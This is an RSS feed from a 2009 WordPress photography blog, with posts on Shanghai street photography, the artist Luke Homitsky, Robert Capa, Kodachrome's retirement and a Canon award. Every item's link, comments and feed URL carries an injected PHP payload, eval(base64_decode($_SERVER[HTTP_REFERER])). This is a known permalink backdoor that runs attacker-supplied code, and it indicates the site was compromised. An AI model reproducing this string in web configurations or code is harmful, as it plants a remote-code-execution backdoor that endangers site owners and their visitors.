<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Craig Riddington Photography</title>
	<atom:link href="http://www.craigriddington.com/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.craigriddington.com/wordpress</link>
	<description>The real voyage of discovery consists not in seeking new landscapes but in having new eyes - M. Proust</description>
	<lastBuildDate>Fri, 31 Jul 2009 10:59:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>An Eye For An Image</title>
		<link>http://www.craigriddington.com/wordpress/2009/07/31/an-eye-for-an-image/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/07/31/an-eye-for-an-image/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 10:38:33 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[Art - general]]></category>
		<category><![CDATA[Composition]]></category>
		<category><![CDATA[Photography - general]]></category>
		<category><![CDATA[Technique]]></category>
		<category><![CDATA[eye]]></category>
		<category><![CDATA[freedom]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[journey]]></category>
		<category><![CDATA[photography]]></category>
		<category><![CDATA[Shanghai]]></category>
		<category><![CDATA[silhouette]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=41</guid>
		<description><![CDATA[When I first started taking photography seriously I would photograph just about anything and everything.  Unencumbered by a lack concern for technique, I photographed with freedom.  A freedom to express my thoughts and capture what I saw.  Of course, there was a lot of dross amongst the images I took.  Without technique, you don&#8217;t have the [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_50" class="wp-caption alignnone" style="width: 459px"><img class="size-medium wp-image-50 " title="Shanghai-25" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/07/Shanghai-251-449x300.jpg" alt="Shanghai Tri-cycle" width="449" height="300" /><p class="wp-caption-text">Shanghai Tricycle</p></div>
<p>When I first started taking photography seriously I would photograph just about anything and everything.  Unencumbered by a lack concern for technique, I photographed with freedom.  A freedom to express my thoughts and capture what I saw.  Of course, there was a lot of dross amongst the images I took.  Without technique, you don&#8217;t have the tools to render what you want to capture and certainly not be able to add emphasis or mood to a subject.  So many potentially good images were lost because they were &#8220;too&#8221; something. Too soft; too dark etc.  Although my technique let me down again and again, I was still encouraged by the fact that there was something in the photos that I was taking.  That I had an eye for an image.  That I could sense a moment and that I could compose the subject within an image.  Then started my journey on improving my technique.  And as I became driven to learn and improve on  my technique, I found that I had lost the freedom I once had.  I was turning out competent images but the content was lacking.  Then, in turn, as my confidence in my technique grew, I began searching for the freedom I once had.  As a result, a style to my photography developed and maturity that can only come through the experience of this journey.  I&#8217;ve not given any thought to the idea of having &#8220;an eye for an image&#8221; for a long time.  A good part of what we do as photographers has to be intuitive, but also, much of it comes through our learned experiences as well.  And where does intuition come from anyway?  It that something we have also learned in our development or is it something we are born with.  Maybe even a mixture of both.  When I was on a recent visit to Shanghai I took the street image above.  I was attracted to the light on the road and I thought the silhouette of the tricycle would be quite striking against it.  I didn&#8217;t need to include the rider or even all of the tricycle, just the three wheels is enough to tell you exactly what it is.   There is a striking similarity with the image below that was also taken in Shanghai.  The low angle, the cropping of the subject down to its simplest form are two things they have in common.  However, the second image was taken based on pure instinct.  It was taken with absolute freedom.  The photographer saw something he liked and just took the picture.   The photographer who took this has very little learned experience and certainly no understanding of composition.  The photographer who too this picture was my three year old son.  It suggests that you are born with an eye for an image.</p>
<div id="attachment_44" class="wp-caption alignnone" style="width: 267px"><img class="size-medium wp-image-44" title="That way" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/07/thatway-257x300.jpg" alt="Streets of Shanghai" width="257" height="300" /><p class="wp-caption-text">Streets of Shanghai</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/07/31/an-eye-for-an-image/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Art of Luke Homitsky</title>
		<link>http://www.craigriddington.com/wordpress/2009/07/29/the-art-of-luke-homitsky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/07/29/the-art-of-luke-homitsky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 05:39:39 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[Art - general]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=40</guid>
		<description><![CDATA[On a recent trip to Shanghai I was very fortunate to meet the artist Luke Homitsky.   It was really enjoyable chatting with him over a beer and hearing about some of his recent projects.  I can only take my hat off to him when I listened to him describe the levels of endurance that he needed [...]]]></description>
			<content:encoded><![CDATA[<p>On a recent trip to Shanghai I was very fortunate to meet the artist Luke Homitsky.   It was really enjoyable chatting with him over a beer and hearing about some of his recent projects.  I can only take my hat off to him when I listened to him describe the levels of endurance that he needed to carry out some of his performance art.  There are plenty of details about Luke&#8217;s performance art plus images of some of his brilliant abstract paintings on his website at <a href="http://www.lukehomitsky.com">http://www.lukehomitsky.com</a>  It&#8217;s definitely worth the visit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/07/29/the-art-of-luke-homitsky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The idea of perfection</title>
		<link>http://www.craigriddington.com/wordpress/2009/06/22/the-idea-of-perfection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/06/22/the-idea-of-perfection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 02:35:55 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[Art - general]]></category>
		<category><![CDATA[Canon]]></category>
		<category><![CDATA[Photography - general]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[perfection]]></category>
		<category><![CDATA[photography]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=4</guid>
		<description><![CDATA[Perfection in art - possibility or prank?]]></description>
			<content:encoded><![CDATA[<div id="attachment_15" class="wp-caption alignnone" style="width: 576px"><img class="size-full wp-image-15  " title="Dance - Performance Art" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/06/editorial141.jpg" alt="performance art" width="566" height="347" /><p class="wp-caption-text">Performance and perfection</p></div>
<p>Arthur Pope said that the artist should never write about his art &#8211; the artist speaks in terms of his medium. Ansel Adams also said that he cannot tell what a great photograph is. He can answer best by showing a great photograph, not by talking about one. So what about us humble photographers?</p>
<p>Judging by the number of photography blogs (mine included!) most of us are happy to talk about our art, as well as letting it speak for itself. But how do we know what a great photograph is? Is it a perfect balance of composition, light, colour and subject? And what is &#8220;perfect&#8221; anyway? If you come up with an answer, perhaps you&#8217;ll let me know.</p>
<p>In the meantime, here&#8217;s a pic from a fantastic French dance troupe performance – there is something about a guy who can balance himself on one hand that screams some sort of perfection to me.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/06/22/the-idea-of-perfection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Capa exhibition comes to town</title>
		<link>http://www.craigriddington.com/wordpress/2009/06/22/capa-exhibition-comes-to-town/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/06/22/capa-exhibition-comes-to-town/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 01:56:59 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[Europe]]></category>
		<category><![CDATA[Exhibitions]]></category>
		<category><![CDATA[Budapest]]></category>
		<category><![CDATA[exhibition]]></category>
		<category><![CDATA[museum]]></category>
		<category><![CDATA[Robert Capa]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=18</guid>
		<description><![CDATA[Exciting new Robert Capa exhibition to open 3 July in Budapest]]></description>
			<content:encoded><![CDATA[<div id="attachment_19" class="wp-caption alignnone" style="width: 560px"><img class="size-full wp-image-19" title="palaceofarts-550x319" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/06/palaceofarts-550x319.jpg" alt="Capa exhibition at Ludwig Museum" width="550" height="319" /><p class="wp-caption-text">Capa exhibition at Ludwig Museum</p></div>
<p>A major exhibition of the works of 20th century photojournalist / war photographer Robert Capa will openon 3 July in Budapest. The exhibition is organised by the <a title="Ludwig Museum Budapest" href="http://www.ludwigmuseum.hu/" target="_blank">Ludwig Museum</a> / Museum of Contemporary Arts, housed in the Palace of Arts in Budapest (pictured), and follows a recent, large-scale acquisition of over 1000 of Capa’s photographs by the Hungarian National Museum. A small selection of these photos were on show in the National Museum from 6-15 March this year, but this will be the first large-scale exhibition of the collection. Capa is noted for his extensive coverage and powerful images of the Spanish Civil War, the Second World War and the First Indochina War, and for his memorable portraits of Ingrid Bergman, Alfred Hitchcock, Pablo Picasso and others. The exhibition will run from 3 July through 11 October. The Palace of Arts is located at Komor Marcell utca 1, District IX, Budapest, Hungary.</p>
<p>Boy, I wish I could be there!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/06/22/capa-exhibition-comes-to-town/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kodachrome &#8211; end of an era</title>
		<link>http://www.craigriddington.com/wordpress/2009/06/21/kodachrome-end-of-an-era/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/06/21/kodachrome-end-of-an-era/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 04:47:04 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[film]]></category>
		<category><![CDATA[kodachrome]]></category>
		<category><![CDATA[kodak]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=11</guid>
		<description><![CDATA[End of an era for Kodak]]></description>
			<content:encoded><![CDATA[<div id="attachment_12" class="wp-caption alignnone" style="width: 510px"><img class="size-full wp-image-12" title="kodachrome-500x399" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/06/kodachrome-500x399.jpg" alt="Kodachrome" width="500" height="399" /><p class="wp-caption-text">Kodachrome</p></div>
<p>Eastman Kodak Company announced today that it will retire its Kodachrome colour film this year, concluding its 74-year run as a photography icon. While Kodachrome, which was born in 1935, was not the world’s first colour film using a subtractive method &#8211; brands like Gasparcolor had been around for a couple of years by then -, it was unquestionably the first commercially viable one, which put an end to the rule of additive processes like Autochrome or Dufaycolor that had dominated the colour film/plate market for the first couple of decades of the twentieth century. Kodachrome went on to become an iconic film used by many great photographers working for National Geographic and other publications. However, sales have declined dramatically in recent years, as people went digital or turned to newer films. Kodak claims that today it represents “just a fraction of one percent” of their total sales of still-picture films. Steve McCurry, the photojournalist who captured the legendary portrait of the Afghan girl on Kodachrome a quarter of a century ago, will have the privilege of shooting one of the last rolls.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/06/21/kodachrome-end-of-an-era/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking DIY to a whole new level</title>
		<link>http://www.craigriddington.com/wordpress/2009/06/20/taking-diy-to-a-whole-new-level/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/06/20/taking-diy-to-a-whole-new-level/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 05:08:27 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[DIY]]></category>
		<category><![CDATA[Instructions]]></category>
		<category><![CDATA[doorbell]]></category>
		<category><![CDATA[remote shutter release]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=25</guid>
		<description><![CDATA[DIY camera equipment moves to a whole new level - do not try this at home!]]></description>
			<content:encoded><![CDATA[<div id="attachment_26" class="wp-caption alignnone" style="width: 610px"><a href="http://digital-photography-school.com/how-to-make-a-remote-shutter-release-from-a-doorbell-diy-special"><img class="size-full wp-image-26" title="doorbell" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/06/doorbell.jpg" alt="Ring my bell takes on a whole new meaning" width="600" height="333" /></a><p class="wp-caption-text">Ring my bell takes on a whole new meaning</p></div>
<p>I&#8217;m not the handiest of guys when it comes to DIY, but the staff at the <a title="Digital Photography School" href="http://digital-photography-school.com/" target="_blank">Digital Photography School</a> have taken it to a whole new level by <a title="Remote Shutter Release" href="http://digital-photography-school.com/how-to-make-a-remote-shutter-release-from-a-doorbell-diy-special" target="_blank">creating a remote shutter release</a> from a doorbell!</p>
<p>Call me crazy, but I think I&#8217;d just rather buy a shutter release off the shelf.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/06/20/taking-diy-to-a-whole-new-level/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Canon 5D II takes out top award</title>
		<link>http://www.craigriddington.com/wordpress/2009/05/15/canon-5d-ii-takes-out-top-award/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.craigriddington.com/wordpress/2009/05/15/canon-5d-ii-takes-out-top-award/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 15 May 2009 06:31:56 +0000</pubDate>
		<dc:creator>Craig Riddington</dc:creator>
				<category><![CDATA[Canon]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.craigriddington.com/wordpress/?p=37</guid>
		<description><![CDATA[Canon 5d II takes out another award]]></description>
			<content:encoded><![CDATA[<div id="attachment_38" class="wp-caption alignnone" style="width: 430px"><a href="http://www.canon.com/news/2009/may15e.html"><img class="size-full wp-image-38" title="canon5dII" src="http://www.craigriddington.com/wordpress/wp-content/uploads/2009/06/canon5dII.jpg" alt="Canon 5DII" width="420" height="240" /></a><p class="wp-caption-text">Canon 5DII</p></div>
<p>Source: www.canon.com/news/2009</p>
<p>TOKYO, May 15, 2009—Canon Inc. and Canon Marketing Japan Inc. today announced  that the Canon EOS 5D Mark II digital SLR camera, equipped with a 21.1-megapixel  35mm full-frame CMOS sensor and capable of recording full HD video, has been  named &#8220;Camera of the Year&#8221; in the Camera Grand Prix 2009.</p>
<p>The Camera Grand Prix, the most prestigious award in Japan&#8217;s photo industry,  is sponsored by the Camera Journal Press Club Japan (CJPC), comprising thirteen  photography and camera publications (as of May 2009). The Camera Grand Prix  selection committee is made up of chief editors of CJPC member publications,  academic experts, technical writers, professional photographers, and  representatives from photo-related organizations. The coveted Camera of the Year  2009 was awarded to the most impressive camera released in Japan between April  1, 2008, and March 31, 2009.</p>
<p>The Camera Grand Prix, founded in 1984, marks its 26th anniversary this year.  The 2009 Camera of the Year award marks the eighth time that a Canon camera has  earned top honors at the Camera Grand Prix, and the first since the top prize  went to the EOS-1Ds, the industry&#8217;s first professional-model digital SLR camera  to feature a 35mm full-frame CMOS sensor.</p>
<p>This year&#8217;s title-winning EOS 5D Mark II was recognized for its range of  high-performance features, including a newly developed full-size 21.1-megapixel  CMOS sensor, the next-generation DIGIC 4 image processor and a sophisticated  Live View function, along with its advanced image quality and ease of use.  Additionally, the model earned high marks as the world&#8217;s first SLR camera to  enable the recording of full HD video as well as for its outstanding cost  performance.</p>
<p>The Canon EOS 5D Mark II was also recently named &#8220;Best Digital SLR Expert in  2009&#8243; in Europe by the Technical Image Press Association (TIPA), representing 29  photography and imaging magazines across 13 European countries.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.craigriddington.com/wordpress/2009/05/15/canon-5d-ii-takes-out-top-award/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
